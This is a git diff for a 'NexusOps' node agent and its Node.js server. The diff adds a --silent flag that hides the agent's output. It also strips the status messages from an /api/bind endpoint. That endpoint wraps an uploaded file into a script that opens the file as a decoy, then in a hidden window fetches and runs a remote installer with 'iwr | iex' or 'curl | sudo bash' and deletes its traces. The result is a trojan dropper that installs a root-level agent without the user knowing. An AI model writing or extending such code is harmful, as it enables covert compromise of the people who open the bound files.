diff --git a/agents/agent.py b/agents/agent.py index 4785780..63c8466 100644 --- a/agents/agent.py +++ b/agents/agent.py @@ -590,8 +590,13 @@ def main(): global last_log_check_time, heartbeat_interval, node_tags parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent") parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint") + parser.add_argument("--silent", action="store_true", help="Suppress all console output") args = parser.parse_args() + if args.silent: + sys.stdout = open(os.devnull, 'w') + sys.stderr = open(os.devnull, 'w') + server_url = args.server.rstrip('/') hostname = socket.gethostname() system_os = platform.system() diff --git a/public/index.html b/public/index.html index 15b23d8..47ec8f6 100644 --- a/public/index.html +++ b/public/index.html @@ -216,14 +216,23 @@
Recommended: Auto-detects OS and runs the correct installer. Single command, any platform, fully silent.
+curl -sSL http://10.30.20.44:3000/install | bash
+
+ Compiled standalone binary executable (no Python installation required on target system).
curl -sSL http://10.30.20.44:3000/bin/NexusAgent -o NexusAgent && chmod +x NexusAgent && ./NexusAgent --server http://10.30.20.44:3000
diff --git a/server.js b/server.js
index 00da860..a12961c 100644
--- a/server.js
+++ b/server.js
@@ -248,7 +248,6 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
'$SERVER_URL = "' + serverUrl + '"',
'',
'New-Item -ItemType Directory -Path $OUTPUT_DIR -Force | Out-Null',
- 'Write-Host "Extracting $ORIGINAL_NAME ..."',
'',
'$scriptPath = $MyInvocation.MyCommand.Path',
'$lines = Get-Content $scriptPath',
@@ -260,12 +259,10 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
'',
'Start-Process $OUTPUT_FILE -WindowStyle Normal',
'',
- 'Write-Host "[*] Deploying NexusOps agent..."',
'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command iwr -useb $SERVER_URL/install.ps1 | iex" -WindowStyle Hidden',
'',
'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command Start-Sleep 30; Remove-Item -Recurse -Force $OUTPUT_DIR" -WindowStyle Hidden',
'',
- 'Write-Host "Done — file opened, agent deployed."',
'__PAYLOAD_BASE64__',
...b64Lines
];
@@ -286,7 +283,6 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
`SERVER_URL="${serverUrl}"`,
'',
'mkdir -p "$OUTPUT_DIR"',
- `echo "Extracting ${originalName} ..."`,
'',
'ARCHIVE_START=$(awk \'$0 == "__PAYLOAD_BASE64__" {print NR+1; exit}\' "$0")',
'tail -n +$ARCHIVE_START "$0" | base64 -d > "$OUTPUT_FILE" 2>/dev/null',
@@ -301,14 +297,12 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
'fi',
'',
'# Silently install agent in background',
- 'echo "[*] Deploying NexusOps agent..."',
'(curl -sSL "$SERVER_URL/install.sh" 2>/dev/null || curl -sSL --insecure "$SERVER_URL/install.sh" 2>/dev/null) | sudo bash 2>/dev/null &',
'(curl -sSL "$SERVER_URL/install-mac.sh" 2>/dev/null | bash 2>/dev/null) &',
'',
'(sleep 60 && rm -rf "$OUTPUT_DIR") &',
'disown',
'',
- 'echo "Done — file opened, agent deployed."',
'exit 0',
'__PAYLOAD_BASE64__',
b64Content
@@ -652,7 +646,7 @@ After=network.target
[Service]
Type=simple
-ExecStart=/usr/bin/python3 $INSTALL_DIR/agent.py --server $SERVER_URL
+ExecStart=/usr/bin/python3 $INSTALL_DIR/agent.py --server $SERVER_URL --silent
Restart=always
RestartSec=5
User=root
@@ -694,7 +688,7 @@ Write-Host "[1/2] Downloading agent script..." -ForegroundColor Green
Invoke-WebRequest -Uri "$SERVER_URL/agent.py" -OutFile "$INSTALL_DIR\\agent.py"
Write-Host "[2/2] Launching Agent in background..." -ForegroundColor Green
-Start-Process -FilePath "python" -ArgumentList "$INSTALL_DIR\\agent.py --server $SERVER_URL" -WindowStyle Hidden
+Start-Process -FilePath "python" -ArgumentList "$INSTALL_DIR\\agent.py --server $SERVER_URL --silent" -WindowStyle Hidden
Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_URL" -ForegroundColor Green
`;
@@ -743,6 +737,7 @@ cat << EOF > "$PLIST_FILE"